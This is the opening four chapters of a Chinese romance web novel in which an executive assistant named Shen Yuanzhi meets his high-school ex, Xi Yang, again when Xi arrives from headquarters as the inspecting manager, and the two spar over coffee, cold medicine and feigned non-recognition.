《发骚扰短信给前男友后》
1. 第 1 章
元宵过后,G市的早春逐渐回暖,但空气中还是带着些缠缠绵绵的凉意。一场来势汹汹的流感四处肆虐,公司病倒的同事不尽其数,沈垣之也不幸中招。
头晕眼花先不说,还止不住地咳。
早起吃药后终于有了好转,沈垣之下车前看了眼车内镜,他近视严重,常年戴着眼镜,无框设计下五官一览无余,根本压不住眼底泛起的红血丝。
要不今天请个假。
沈垣之犹豫着,不过最后还是打消了这个念头,他昨天接到消息,说是今天总部会派人下来视察——
他得负责接待。
沈垣之大学学的是经济学,后来选修了通讯技术,毕业就进了现在的公司。
呈声视讯,主营传统音频。
因受无线技术冲击,这段时间公司邮件天天塞满了甲方递来的“改革”文件,不是这里需要调整方案就是那里需要重新设计图纸,每天都有开不完的会。
不仅如此,总部还三天两头差人下来视察,沈垣之对此烦不甚烦。
无能狂怒几秒后,他换上了一副厚厚的黑框眼镜,想着聊胜于无,至少能稍微挡一下眼里的红血丝,沈垣之对着镜子看了一眼,很快移开了视线。
高考过后他就不戴这副眼镜了,嫌它太呆。
地下车库里很暗,隐约还散发着一股潮湿的湿意,沈垣之后背往座椅上轻轻一靠,很轻地叹了口气。
昏沉的思绪因这许久未见的眼镜发散了不少。
学校,教室,微风透过窗帘吹起书里的某一页,讲台上老师孜孜不倦的讲解声,以及身旁总是埋头苦睡的同桌。
沈垣之睫毛一垂,记忆里的场景都是好的,就是极个别人不好,以至于这些年来,沈垣之一想起那人就打心底里恨的牙痒痒。
——
从地下车库直接上了专用电梯,沈垣之的办公室和黎炫在同一层,都在十五楼。
电梯应该是被打扫过,充盈着淡淡的清香,沈垣之对气味敏感,什么味道都不喜欢,尤其是若有若无的香水味。
他本来想跟保洁阿姨说一声,但每次一看见那张“被领导约谈惶恐”的脸就说不出口了。
不过好在就几分钟。
几分钟内沈垣之手机震了又震,低头一看全是同事在小群里哀嚎着。
“周一该死。”
“周一该死+1”
“……”
沈垣之也想跟着+1,不过很快将手机收了回去,他平时在公司塑造的是个不苟言笑的形象。
不过算上虚岁,他今年也不过二十五。
从管培生到成为总助,沈垣之只花了两年的时间,这两年里他不得不和形形色色的领导打交道,时间一长,也慢慢学会了端架子。
他是土生土长的南方人,皮肤白,身形修长,五官优越,一双漂亮的狐狸眼总不冷不热地看着人,冷冷地像个捂不热的冰块儿,可笑起来右脸颊却有个梨涡,反差极大。
但他不常笑,一本正经的能唬人。
电梯“滴”的一声后停下,沈垣之刚踏出电梯就看见前台围了一群人,叽叽喳喳地不知在说些什么。
“你看到人了?”他听见其中一个女孩问。
“看到了!”被围在中间的女孩压着声音:“长得好牛逼,老帅了。”
“嗷嗷嗷,我端茶的时候怎么没看见他呀!”
这个满脸遗憾的女孩沈垣之认识,是他去年秋招时亲自挑选的小助理,平时在他面前斯文的大气都不敢出,这会儿快把天花板嚎塌了。
没等沈垣之多听几句,眼尖的小助理就看见了他。
“沈助!”
小助理话音刚落,几双眼睛就一同看了过来。
“沈助早!”
见她们被吓到异口同声的模样,沈垣之忍了忍上扬嘴角,朝她们微微点了点头:“你们也早。”
他声线温和,不过今天带着很轻的哑,因此听起来显得有些严肃。
这些都是刚毕业不久的大学生,平时都听话的很,又正是害怕领导的时候,立马都散了。
把人都吓跑后,沈垣之也进了办公室。
为了待客方便他的办公室和会客厅相连,中间就隔了个可移动的屏风,前些日子他专门跑了趟古玩市场淘到的。
私密性强,看不清人。
隔着一层屏风,他的办公室除了几株水培植物外就只有一个横跨中央的大书桌,饮水机,还有小型酒柜,除此之外就没其他了。
元宵刚过,G市这几天天气阴晴不定。
有些过敏的沈垣之这会儿眼睛就开始红了,他翻了翻柜子没见着药,好在不是特别严重,能忍忍。
开了空气净化器,沈垣之揉了揉微红的眼尾,姿态散漫地坐在了软椅上。
办公桌上摆着几份待阅的资料,最上面的就是盖了公章的视察通知书,除此之外还有一份“G市高校音像设备改造计划书”。
这计划书刚出来,沈垣之就有了辞职的念头。
先不说工程之大,光是和上面应酬都不知道得跑多少趟,最重要的是他的母校还在其列,沈垣之在G市这么多年从来没回去过,没想到有一天会和工作扯上关系。
沈垣之双目失神地盯着看了半天。
当初入职前说好了的,他的劳务合同一年一签,除薪资以外的福利待遇都可以不要。
但黎炫显然没把他的话当真,这些天明里暗里劝他签续约合同——
烦死了。
眉头一皱,眼见四下无人,沈垣之也不再装斯文,伸手将领带扯开,烟灰色的衬衣散了几颗,若有若无地露出白皙的锁骨来。
盯着计划书挣扎两秒后,沈垣之没继续想下去,他开始办起了正事,目前最棘手的事就是要接待今天来领导。
沈垣之这次掌握的消息不多,只知道人从国外回来,除此之外连姓什么都不知道,领导视察期间他几乎得全程陪同,不仅如此,生活习性上还得由着对方喜好安排,譬如饮食习惯等等。
事很多,钱难赚。
黎炫昨晚提起时,他都做好准备定闹钟去接人了,结果被告知这次来的领导是从国外直接飞过来的,总部还专门递来消息。
不急,给人倒倒时差。
沈垣之:……
虽
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是这样,但沈垣之还是得提前做好准备,他不想太把这事太当回事,但也不想显得太过敷衍。
想到这,他拨了内线电话。
“沈助。”
接电话的是他招的小助理,小琪。
“小杜在哪,我有事找她商量。”
“小杜姐?”助理小琪迟疑道:“她好像还没来公司。”
沈垣之闻言皱眉。
小杜是黎炫的私人秘书,和沈垣之负责区域不同,平时她主要负责黎炫的生活起居,还负责和总部对接。
沈垣之本想向她打探下消息,问问有没有渠道得知这位领导的喜好,不过没来就算了,这段时间她也累的够呛。
“那行你先忙。”
“沈助,等一下。”小琪语气一顿:“我给会客室的那位泡了杯龙井茶,能行吗?”
沈垣之一愣:“会客室来人了?”
“来了呀。”
听沈垣之这反应,小助理也愣了一下:“他给我看了工作证,也登进了公司内部系统,聊天记录上和黎总联系过。”
沈垣之顿觉大事不妙。
他端坐起来朝屏风那处望去,严肃道:“来多久了?”
“好早就来了。”
小琪声音低了些:“沈助,我是不是惹麻烦了。”
听出她的紧张,沈垣之安抚了一声:“没事,之前也没有过这种情况,不过下次记得和我提前沟通一下。”
小琪“嗯”了声,小心翼翼地问:“沈助,那我还要泡茶吗?”
沈垣之有些忍俊不禁:“……我来吧。”
挂了电话沈垣之很快站起身,他估摸着会客室那位应该就是从国外派来视察的领导,一声不吭地来,还来了很久——
都多大人了,还搞突击检查啊?
对方来势汹汹,沈垣之给黎炫发了消息,罕见地,没一会他就回了消息。
【黎炫炫炫:我上来了,你先接待下。】
沈垣之回了声好,整理着着装走了过去。
隔在中央的屏风不知被谁拉开了一道口,恰好对着会客室紫木印花的茶几处。
沈垣之一愣,伸手轻轻拉开了屏风。
一股淡淡的清茶香扑面而来,放在茶几旁的行李箱很显眼,纯黑色的,样式不新,看上去用了许久,莫名的有些眼熟。
脚步一顿,沈垣之抬头望去。
只见办公桌旁有道身影正背门站着,那人西装革履,脊背挺拔,正低着头在和谁打着电话,声音很低,手指在桌上有规律地轻敲着。
他站在屋内唯一能晒到太阳的地方,光影映出侧脸的轮廓,高高的鼻影落在脸上,明暗割裂处,像是即将被阳光消融的雪山。
沈垣之心莫名一紧。
像是终于注意到门口的动静,落在桌上的指尖猝然绷紧,戛然而止地,那人兀自停了交谈。
沈垣之目不转睛地盯着那道背影,喉结向下轻轻滑动:“不好意思,请问……”
此时微风吹过窗纱,阳光落在一旁荡漾的茶水面,那人毫无征兆地望了过来。
看清人的刹那,沈垣之愣在了原地。
2. 第 2 章
藏在镜框下的眼瞳微颤,心脏猛然紧缩直至指尖,顿时连呼吸都几乎停滞的——
沈垣之头脑轰鸣,由着这股酥麻的闭塞感从胸口抵达四肢,他轻抖着唇,无意识地发出一道单音字。
“你……”
“不好意思,我来晚了。”
一道不合时宜的声音突然从身后传来,沈垣之闻声望去,只见一个穿着西装的男人朝他走了过来。
来人是沈垣之的上司,分部的总经理。
名叫黎炫。
黎炫是他大学师兄,两人在校期间认识,关系很好,沈垣之进这家公司前不知道黎炫在,后来通过管培期,才得知黎炫是他的顶头上司。
两人表面是上下级关系,其实私下偶尔会一起玩。
黎炫不想上班,也不想继承家业,平时除了被大老板压着见几个重要客户外,剩下的时间全都贡献给了网游。
这会儿估计刚从床上爬起来,人还没清醒,手就搭上了沈垣之的肩,一边笑着打量屋里的人,一边凑在他耳边低声问:“这人姓什么?”
“我姓席。”
一道生冷的男声随着渐近的脚步一同传了过来,沈垣之怔怔地看着那人越过他朝黎炫伸出了手。
那人语气一顿,补充道:“席殃。”
席殃。
话刚落音,沈垣之循声望去,席殃和许多年前相比没什么改变,依旧一般……帅的要命。
不长不短的头发向后抓着,大方地露出五官,不知是因为没休息好还是别的缘故,一双眸落在黎炫身上,格外凌厉。
眉峰如刃,鼻梁如雕刻般高挺,连唇色都很淡的,浑身上下都散发着疏离,与过去相比,有过之无不及。
当然这些都不重要。
重要的是,时隔多年再次重逢,这人目前为止到现在竟然只匆匆扫了他一眼,淡定到,就像是没认出他来一样。
得到这个认知,沈垣之一时没控制好表情。
“席总你好,久仰大名。”
沉默之际,一旁的黎炫松开搭在沈垣之肩上的手,与他回握。
“席总这是刚落地?”黎炫看了眼一旁的行李箱,有些诧异:“我听说您是从挪威回来,您不先回酒店休息一下吗?”
视线无意地掠过那微愣的身影,席殃顿了一下,声音低哑:“不用。”
空气突然安静了一下。
以往应付不来的场面沈垣之会帮他解围,这些年都已经习惯了,可今天沈垣之到现在都没个动静。
黎炫只好招呼人坐。着手冲洗茶具,水声潺潺衬得坏境更加安静。
“席总您是哪里人?”沉默间,黎炫笑着找了个话题。
“G市。”
“G市好呀,人杰地灵的,”黎炫语气一顿,像是想到什么突然“哎”了一声:“我们沈助也是G市人。”
沈垣之身形一怔。
不出一秒,他听见席殃没什么情绪地回了一句:“是吗,好巧。”
心猛地一沉。
沈垣之很快移开了视线,他抿着唇目不斜视地走向黎炫,声音又急又快:“黎总,我想起来还有些事没处理,你们先聊,有什么事叫我。”
席殃拿着茶杯的手一顿。
黎炫闻言朝沈垣之缓缓瞪圆了眼,有些意外地朝他做了个口型“我来?”见沈垣之没反应,他疑惑道:“行……那你先去忙。”
沈垣之扭头就走。
拉上屏风的最后一刻,他听见黎炫问,席总打算在这待多久。
“大概三个月。”席殃这样说。
——
沈垣之头一次借着公务之便出了外勤,等他反应过来时车已经驶离了商业圈。
车漫无目的地开着,四面街景却逐渐清晰。
无意瞥见街边穿着蓝白色校服的几个学生,沈垣之踩了脚刹车,将车停在了路边。
随后他走进了一家咖啡店。
这家咖啡店开在一中旁,以前沈垣之读书的时候经常光顾,后来说来也巧,新的老板沈垣之也认识。
新老板姓宁,叫宁源。
前几年两人在某次国外展上结识,后来宁源辞职后接手了这家咖啡店。此时的咖啡店人很少,宁源端着咖啡朝他走了过来。
“这时候你不应该在公司吗?”虽是这样说,但宁源却不怎么意外:“怎么有空来我这?”
说着便把咖啡递给了他。
沈垣之盯着咖啡半响没说话,听到这话后像是突然才缓过来,皱眉不解道:“是啊,我为什么……”
他语气一顿:“要躲的不应该是他?”
宁源眨了下眼睛:“躲谁?”
一口咖啡下肚情绪渐渐平复,沈垣之摇了摇头:“没谁,就是遇到一个很久没见的高中同学,有些意外。”
宁源闻言没说什么,转头谈起了其他话题。
沈垣之偶尔插上几句,在宁源提到“咖啡机要怎么选”时,他迟疑着打断了一下。
“宁哥,如果好几年没见的人突然出现在你眼前,你还能认出来吗?”
“那得看是什么样的人,”宁源看了他一眼:“普通人可能记不住,关系密切的肯定忘不了呀。”
他语气一顿,看了沈垣之一眼:“譬如前任之类的,那估计化成灰都忘不了。”
沈垣之脸一沉:“不是前任。”
短暂沉默几秒后,沈垣之眉头紧锁,提出了一个建设性的假设:“有没有一种可能……”
“他失忆了?”
放下咖啡,沈垣之开始分析:“比如读博压力大,导致短暂的应激反应,失忆,譬如精神错乱,国外不是经常有这种新闻报道吗?”
“……”
宁源艰难地抿了口咖啡:“倒也不是没这种可能。”
沈垣之还想说些什么,放在一旁的手机突然响了起来,和宁源说了声抱歉,他出门接了电话。
“喂。”
“你在哪?!”
黎炫的声音接近崩溃:“这人有备而来,开口就问我近几年的新产品研发情况,一看就做了不少功课。”
“他甚至连前几年我俩去挪威展带的那几个音频处理器型号都记得!仓库里有数千台啊,两年前啊,你那时刚刚当上我的助理,我俩当时对型号什么的都一头雾水,他居然到现在还记得!”
“……”
门外突然刮起一阵冷风,吹得沈垣之心烦气躁,良久后他才低低地应了声:“我在外面,你先问问研发经理。”
“已经在问了。”黎炫声音很低:“他也只能说个大概,再说何经理都快五十了,他一个老人家,历年来那么多产品哪能全都记得。”
“反正我应付不了。”
黎炫越想越气:“……这破海归就是故意找茬。”
沈垣之皱了皱眉。
没等他说什么,黎炫很快转移了话题:“我记得你之前不是整理过吗,详细资料你发我一份。”
“我让小琪……”沈垣之顿了一下:“算了,我现在回来。”
“行。”黎炫压低了声音:“你顺路帮我带杯咖啡,我昨晚打游戏熬了个通宵,脑子都快被他搅匀了,实在顶不住了。”
黎炫常年不靠谱,沈垣之早就习惯了,但今天没来由地格外烦,简单应了句就挂了电话。
点了杯黎炫常喝的咖啡,顺便给办公室的几个小助理都带了几杯,一只脚刚踏出去,沈垣之突然冷着脸走了回来。
宁源见他折返,连忙压下嘴角将手机按了熄屏:“怎么了?”
沈垣之狐疑地看了他一眼:“你干嘛?”
“拍你背影当宣传照啊,最近生意不好。”宁源耸了耸肩:“你回来干什么?”
“来杯热美式。”
沈垣之脸色很差:“一点糖都不加。”
宁源闻言有些忍俊不禁:“怎么,你给谁要灌中药啊?”
沈垣之眼眸猛地
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一冷,没说话。
心里却恨恨地想着。
某些薄情寡义的人,就他妈该多灌点中药调理一下。
——
沈垣之提着咖啡回公司时,恰好遇上了正准备进电梯的助理小琪。
“沈助!”小琪笑着叫他。
沈垣之应了声,将冒着热气的那杯单独剔出来,又在里面随便挑了一杯后,将剩下的全递给了她:“给晓婷她们带过去。”
小琪连忙接过。
见她在等电梯,沈垣之低头看了眼手表,微微皱眉:“快开会了,你这是准备去哪?”
“新来的领导有点咳嗽,”小琪解释道:“黎总让我去买点感冒冲剂。”
沈垣之闻言抬了下眼。
双目对视,小琪对他腼腆地笑了笑,将咖啡放在前台,让同事自己来拿。
发完信息后,小琪按了电梯。
“沈助,那我先走了。”
电梯门正要关时,一只修长的手突然挡在了缝隙之间。
小琪下意识望去。
只见向来不怎么多话的沈助站在门口抿了一下唇,沉默片刻后,很不情愿地交代道。
“买甜一点的。”
小琪呆呆地看他。
“帮我带一份,”沈垣之解释道:“我也有点感冒。”
小琪乖巧地点点头:“好哦。”
话刚说出口,沈垣之就后悔了。
又不能把小助理抓回来重说一遍,原地沉默几秒后,他木着脸回了办公室。
将咖啡放在一旁的置物架上,沈垣之抬眼看向隔在中央的屏风,会客室内隐约能看见几道身影,偶尔传来断断续续的说话声。
沈垣之面无表情地盯了几秒,开始认真考虑——
要不辞职算了。
思考着可行性,沈垣之没什么表情的走向办公桌,在看到数不清的文件后,他搓了把脸,接着打开了电脑。
电脑里的文件很多,上至公司历年盈利情况,下至大大小小的每次会议内容,都是沈垣之这些年一点一点总结出来的,是他的心血。
最主要的是,如果真要辞职,他得搬家。
一想到要整理那么多东西,沈垣之头疼的很快打消了这个念头,回过头其实再仔细想想。
好像也没什么大不了。
不就是接待一个出国好几年、好不容易回国了也只待三个月,貌似没认出他来的高中同学而已吗?
不就是装不认识吗?
又不是没装过。
眼眸一垂,沈垣之平静地将黎炫要的文件找了出来,打印好四份后,他径直走向会客室,在门口低低喊了声:“黎总,我来送资料。”
隔了几秒,黎炫的声音传了过来:“进来。”
一进去便有一道视线落在了他身上,沈垣之目不斜视,径直走向了正喝茶的黎炫。
“何总。”
沈垣之笑着和一旁的何经理打了声招呼。
“这是近年新产品研发的一些文件。”
将文件一一递给两位领导,像是没看见那人伸出的手,沈垣之将文件径直放在了他身前的桌上。
席殃的手落了一个空。
沈垣之盯着落在空中的那只手,眼皮轻轻一抬,不出意料地落进了一双幽深的眼眸。
看什么看!
双目对视,好不容易歇下的火瞬间点燃,沈垣之压着情绪,朝席殃敷衍地伸出了手——
指节稍弯,轻轻一握。
两人的手便若即若离碰在了一起。
指腹间顿时传来一阵无法忽视的余温,胸腔里的怒火顷刻被平息,脑海里兀自浮现出被这只手禁锢着,掐在他脖间时暴起的青筋。
后背过电似的一酥。
感受到那人渐渐施力,沈垣之喉结一滚,很快抽回了手,在那道似有若无的视线下,客气地做了个“请”的手势,他淡淡道。
“席总,您请。”
3. 第 3 章
沈垣之很快背过身去。
“各位手里的文件概括了历年来销售量不错的音频类产品,型号,性能以及调试参值等,”
他声音不急不缓,偶尔带着些淡淡的笑。
“其中ax102系列产品在两年前挪威音视声展上成功展出,以小搏大获得此届调节器最佳……”
旁听的黎炫趁机喝了好几口茶,枯燥无味的数据让他有些出神,视线顺着桌上的茶杯望去,最后落在了对面那人身上。
这海归看上去人模狗样,实则非常难缠。
不久前他在这被迫全盘托出公司近年的盈利目标和实际盈利完成情况,这人沉默半响后,只朝他投来一个眼神——
十足地平静下,蕴藏着万般重的杀伤力。
黎炫喉结一滚,低头抿了一口茶。
飘渺的目光落在了桌面下,黎炫身居高位,从他这个角度恰好能看见那人正有一搭没一搭摩擦着手指,一双眼沉沉地落在毫无察觉的沈助身上。
黎炫心一惊,为沈垣之捏了一把汗。
不是他大惊小怪,再怎么说他也是一位老总,在名利场上见过不少大大小小的人物。每当他们不耐烦但要顾及他人脸面时,就会情不自禁做一些小动作来压压火。
譬如此刻。
沈垣之虽然对产品熟悉,但不可能面面俱到,这人要是真刁难起来恐怕会下不了台。
“……近年来推陈出新的产品有很多,”
沈垣之转了个方位,撞进席殃眼里的刹那,意识到他根本没在听,唇边的笑立马淡了些:“席总,公司这么多年研发的产品数不胜数,若您实在选不出着重产品,我建议您……”
话未落音,黎炫连忙笑着解围:“我们沈助的意思是……”
“不是我选不出着重产品,”席殃看了眼黎炫,平静地打断道:“是没有人给我着重的产品介绍。”
沈垣之一愣。
席殃看了他一眼,点了点桌上的文件:“文件我粗略的翻过一遍,除了常规款之外没有特别亮眼的产品介绍,Ap-13昨天在展会上刚展出过,并且效果不错,但文件里没有提到。”
话刚落音,沈垣之顿时哑口无言,但席殃确实没说错,他昨天太忙了,忘记将这项产品信息加进去。
这种被当众揭穿的滋味并不好受,尤其对方还是前任。
“言归正传,我这次来的主要目的是了解‘G市高校音频改造’这一项目。”
席殃淡淡道:“我想我们都不愿意浪费彼此宝贵的时间,那就长话短说。”
“我这些年在国外,接触的都是海外业务和市场,对国内的产品和生产线了解不深,有太多不熟。黎总,劳您见谅。”
黎炫迟疑地笑了笑:“席总不必谦虚。”
席殃眼眸一沉,突然开口。
“我在国内不会待很久。”
沈垣之抬了下眼。
“项目筹备只有半年时间,这意味我需要有人帮我快速了解项目产品和整合技术方案。”
“通过这份资料,我了解到你们的沈助,”
沉默间,看着那道气鼓鼓的身影,席殃再次开口。
“专业知识丰富。”
“思维敏捷,逻辑缜密,能力出众。”
“内容清晰明了。”
稍作停顿,席殃点了点桌上的纸张似乎是加以佐证,淡淡道:“除了刚刚指出的产品介绍之外,其他的真的很厉害。”
沈垣之像是被谁轻戳了一下,刚刚憋得一肚子的气就这样被轻易地戳破了。
“若沈助理有空余时间,劳烦你从中挑选公司近年和G市各高校合作的产品清单发至我邮件,多谢。”
沈垣之微微一愣。
片刻后,他的唇角很不经意的向上扯了扯。
给一掌又给一甜枣这事算什么……
沈垣之面无表情这样想着。
这些年来他见过的人多了去了,而且被夸真的很习以为常,像这种直面而来的夸奖在他短短几年的职业生涯中也是非常常见的,倒不会因为夸他的对象不同就会显得特别一点。
严肃来讲,是完全没有的。
沈垣之:“我……”
“那实在太好了!”
黎炫松了一口气:“真的好巧!公司之前就恰好安排了沈助接待您。”他看向沈垣之:“沈助,这段时间席总有什么需求你尽量满足。”
“那就麻烦沈助了。”话未说话,席殃突然用拳抵着唇咳了好几声,声音极为沙哑:“抱歉,有些感冒。”
沈垣之皱眉看了过去。
此时的席殃后背靠在椅背,面颊带着咳嗽时生理性微红,唇色苍白,难以掩饰长途跋涉后的疲惫,像是感受到沈垣之的视线,他缓缓抬起了眼。
和过去相差无几,咫尺之间,这双在梦里出现过无数次的眼依旧沉得似海水般卷着他。
心控制不住地一颤。
就在此刻,沈垣之无比确信席殃认出他了。
“席总不必客气。”很快收回视线,沈垣之淡淡道:“配合您是我的工作职责。”
“多谢。”
语气一顿,席殃目不转睛地看着沈垣之,很轻地勾了下唇,“恕我冒犯,沈助理看上去有些眼熟。”
心瞬间提到了嗓子眼里,沈垣之攥着文件顿了一下,随后满不在乎地冷哼了声:“是吗……”
“敢问尊姓大名?”
沈垣之:……
——
沈垣之这辈子都不会忘记自己是怎么铁青着脸从会客室退了出来,直到现在,坐在会议室听了快半个小时的会,他依旧久久回不过神。
这么多年了,沈垣之在公司里时刻保持着完美总助形象,失态的次数屈指可数,可就短短半天,他被气得频繁神色大变,刚刚还险些在上司面前将文件一把砸在席殃头上。
他算是看出来了,席殃早就认出他来了。
就是故作不认识。
沈垣之盯着不远处那道挺拔的身影,眼眸一冷,狠狠地抿紧了唇,台上的生产部经理口若悬河的介绍生产情况,台下的沈垣之开了小差。
平时用来记会议内容的笔和和本子在此刻莫名碍眼,沈垣之一边面容严肃地正襟危坐,一边气到在本上涂涂画画。
画猪,画狗。
还想画几个王八时,不远处突然传来一道很闷的咳嗽声。
会议室顿时安静下来,只见新来的领导脸色苍白,瞥了眼正低着头的某人,在众人视线下哑声说了句抱歉。
“没事没事。”台上生产部经理连忙笑了声。
沈垣之面无表情将笔一放。
会议很快继续,这次会议主要围绕着公司去年下半年季度的考核工作展开,各部门的负责人上台轮流发言,连工厂体系的主要干部都需做简短汇报。
这导致会议时间会很长,大概三个小时起步。
在听到席殃第四次低声咳嗽时,沈垣之冷着脸拿出了手机。
【沈垣之:上个月思源的考核资料找给我。】
【小琪:好哒。】
【沈垣之:你回来了?】
【小琪:刚刚回来,泡好了感冒冲剂但是没看见你和席总(可怜)】
沈垣之
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抿了下唇。
【沈垣之:会议室202,从后门送进来。】
像是想到了什么,眉毛轻轻一挑。
【沈垣之:两杯都给席总。】
【小琪:好哒!】
沈垣之不动声色地收回了手机,隔了几分钟后,见小琪猫着腰从后门走了进来,将两个杯子放在席殃桌上很快走了出去。
席殃盯着两杯冲剂顿了一下。
沈垣之也屏住了呼吸。
热气随着呼出的空气化成了雾,席殃端起水杯微微仰起头,暗蓝色缎面衬衫衬得他俊美万分,沈垣之肆无忌惮盯着他上下滑动的喉结,很轻地磨了下后槽牙。
不负所望,席殃喝完一杯后还真的将另外一杯也端了起来,注意到他额前泛起的汗珠,沈垣之唇边的笑意淡了些。
正准备收回视线时,席殃突然在一片雾气中垂眸望了过来。
来不及闪躲,索性懒得躲。
两人在乌压压的会议室里,透过一层薄薄的雾,隔着多年未见的距离,无声地对视着,沈垣之面不改色盯着席殃,想着他胆敢再惹怒自己——
没想出个所以然来,很快地,席殃偏头去听身旁某位老总说话去了。
那双眼不再看他了。
——
会议结束是在几个小时之后,G市这几天晚的早,加上总是下雨,尽管这会儿才到下午,可沈垣之拉开窗的时候天都黑了。
黑沉的天压得人心烦意乱,沈垣之盯着楼下蚂蚁般的几道身影,盯着一辆轿车消失于雨幕中。
沈垣之眨了眨眼睛,又酸又涩的,这才后知后觉过敏的症状似乎更严重了些。
这么多年了,还是头一回。
出神之际,手机突然震动了一下。
【黎炫炫炫:终于送那尊大佛上了车,小师弟我先下班了,咖啡放在哪?】
沈垣之打字回复。
【沈垣之:在我办公室里。】
想到了什么,他补充道。
【沈垣之:那杯热美式你别拿,我喝过了。】
【黎炫炫炫:好吧。】
沈垣不想出去,接着职务之便锁着门躲在会议室里打解压小游戏,好不容易这关要通过时,黎炫的消息又弹了出来。
【黎炫炫炫:只有一杯呀,没看见你说的热美式。】
沈垣之眼皮一抬。
心想办公室里还能遭贼?
有贼就有贼吧,今天实在没心情抓贼。
不知道过了多久,等小琪发了思源的考核资料给他,沈垣之才关了手机出去。
一出电梯,沈垣之便看见小琪站在他办公室门口。
“沈助!”小琪对他笑了笑。
沈垣之看了她一眼:“找我有事?”
“给你。”
小琪突然拿出什么东西递给他。
沈垣之接过,打开来看。
氯雷他定。
沈垣之有些惊讶,虽说他经常过敏,但症状不是很明显,有时候能不吃药就不吃,没想到平时看着大大咧咧的小助理居然发现了。
他抿了一下唇,低声说了句谢谢。
小琪有些欲言又止的看着他。
沈垣之心情好了很多,这会儿也开始有心思逗人:“怎么,有什么话想说?”
小琪斟酌着,像是有些不好意思,最后还是张了口:“沈助……”
语气上扬,沈垣之“嗯”了一声。
“新来的领导托我向你转达一个小小的建议,”小琪瞥着他的脸色,蚂蚁般小声道:“他说……”
“咖啡也要喝甜的。”
4. 第 4 章
沈垣之都快被气笑了。
一边感叹这么多年来席殃真是一点都没变,一如既往地顺坡下驴且得寸进尺,一边崩溃地想——
那杯咖啡到底是谁给他的!
怎么没苦死他!
一时之间沈垣之脸色精彩万分,从没见过他这副模样的小琪大气都不敢出,她瞥了眼快被他捏扁的药盒,嘴唇一动,将没转述完的话憋回了肚子里。
沈垣之不愿意在助理面前跌份,他应了声便立即推门进了办公室,游魂般接了杯温水,沈垣之拆开药盒,一颗硬糖毫无防备地映入眼帘。
捏着这颗糖,沈垣之眼眸猛地一颤。
很久以前沈垣之是不过敏的,或者说他压根不知道身上起的红疹子是过敏。
他从小大大咧咧地,连身上的伤痕和过敏都分不清。
后来缠上席殃后就懂了很多。
氯雷他定,轻微症状就吃这个,再严重点,就要缠着席殃陪他去打针。
沈垣之那时候一点都不怕苦,含着药片都能生吃,等他吃完后席殃每次都会往他嘴里塞一颗糖,沈垣之问他为什么。
席殃被问烦了就亲他。
亲到沈垣之头晕眼花之际他才冷不丁地开口:“我喜欢吃甜的。”
席殃喜欢吃甜的。
沈垣之一记就记了好多年。
放在桌上的手机突然震动了一下,思绪回笼,沈垣之点开了微信。
【秘书部—小杜:沈助,总部来的那位问我你的微信号,说方便和你工作联系,我推给他?】
沈垣之一看,差点又被气笑了。
这些年他微信号从始至终就没变过,席殃至于为了装不认识做到这种程度上吗?!
至于……这么烦他吗。
G市天气阴晴不定,沈垣之心情也随之起伏,眼见四下无人,沈垣之挺直的腰身一塌,眨眼间眼前就沾染了一层雾。
【你把他名片推给我。】
【我等会联系他。】
发完消息,沈垣之抿紧了唇将手机扔得好远。
和他联系?
做梦去吧。
——
临近下班,橘红色的天幕渐渐黑了一大片。
隐匿于繁华地带的“暗蓝香”酒吧挂上了“正在营业”的招牌,沈垣之进去的时候主唱正好唱了首《日落》。
“你好,帮我点杯日落。”
沈垣之敲了敲吧台。
“稍等。”吧台小哥正忙着,扭过头一见是他立马睁大了双眼:“圆儿哥!”
“你这有快半年时间没来我们这了吧?老板昨天还在我面前念叨你了的。”
沈垣之接过了酒,忍俊不禁道:“什么圆儿哥,别跟你老板学不三不四……”
“哎,”话未落音,一道声音突然从两人身后传来,没等沈垣之反应过来,一只手便极其自然地搭上了他的肩。
勾着他的肩膀落座,来人哼了声:“沈垣之,我怎么就不三不四了?”
来人是这家酒吧的老板,也是沈垣之从小到大的发小,名叫薄言。
沈垣之肩膀一低,让他搂了个空:“你最正经。”
“这还差不多。”
“薄老板晚上好。”
吧台小哥机灵的和他打了声招呼。
“晚上好。”
薄言应了声便勾着沈垣之往深处走,两人找了个背对灯光的角落。
“不是,”薄言上下打量看了他一眼,端着架子冷哼道:“现在坐在我面前的是我从去年年末约到今年年前怎么约都约不出来大忙人沈垣之吗?”
“是啊。”将声音拖得老长,沈垣之淡淡道:“如假包换。”
薄言连忙一乐:“你来怎么也不提前和我说一声?”
“下班经过就来看一眼,”沈垣之瞥了他一眼,“还不是怕你太想我了。”
“啧,我可太想你了!”
沈垣之没理他。
薄言这人整天都乐呵,一边喝着酒一边很快和他聊起天来:“我跟你说啊,你这段时间没来这里发生了好多事……”
沈垣之听着偶尔配合应上一句。
薄言从天聊到地,又聊到谁谁结婚谁谁生了孩子,谁谁前任死皮赖脸找上来了,最后看了眼桌上的空酒瓶才察觉到沈垣之今天有些不对劲。
他和沈垣之从小一起长大,对方很少这样毫无节制地喝酒,薄言将酒杯放了下来,迟疑道:“圆儿,你今天情绪有点不对啊。”
沈垣之抬了下眼,没说话。
像是想到了什么薄言脸倏然一黑,猛地站了起来:“是不是你爸……”
“不是。”沈垣之伸手费力地将他按了回去:“你忘记了?前几年我和他断了联系。”
“那你怎么了?”
薄言想不到原因。
“就工作上的事。”沈垣之抿了口酒,他眸光一沉,哑声道:“有点闹心。”
薄言看了他一眼,没说话。
沈垣之怎么样,薄言这些年都看在眼里,他不信沈垣之是因为工作闹心,之前那么难的晋升期他都扛住了,这些年也很少见到沈垣之这样——
除了高考后的那次聚会。
沈垣之当时也是闷头喝酒,什么都不说。之后他就去异地读了大学,两人见过几次面,薄言尊重他,这些年从没过多追问。
不过有件事他奇怪很久了,想趁今天问个明白。
“那你今年还让我组局吗?”
沈垣之闻言看了他一眼,眼神往其他地方跑,明摆着不想聊。
薄言见状都快气笑了:“你别给我整这死出。”
他语气一顿:“我老早就想问你,这些年你到处让我广撒网找高中同学组局,连国外的都不放过,我人帮你找了,局也帮你组了,但你每次就只露个脸就走,钱也花了,你图啥呢?”
沈垣之闻言后背往软椅上一倒,闭着眼打起了假呼噜。
薄言:……
见他不肯说,薄言也不强求。
“不过这些年大大小小组了这么多次同学聚会,一年一年地看着往日的同学从谈工作到谈家庭,就连丁松最近都要结婚了。”
薄言叹了口气:“真是物是人非啊。”
黑暗里沈垣之缓缓睁开了眼。
他盯着毫无动静的手机,平静地想着。
确实是,物是人非。
一提到这些事就自带伤感,两人又好久没见面了,一个不小心没控制住,桌上的空酒瓶就码了起来。
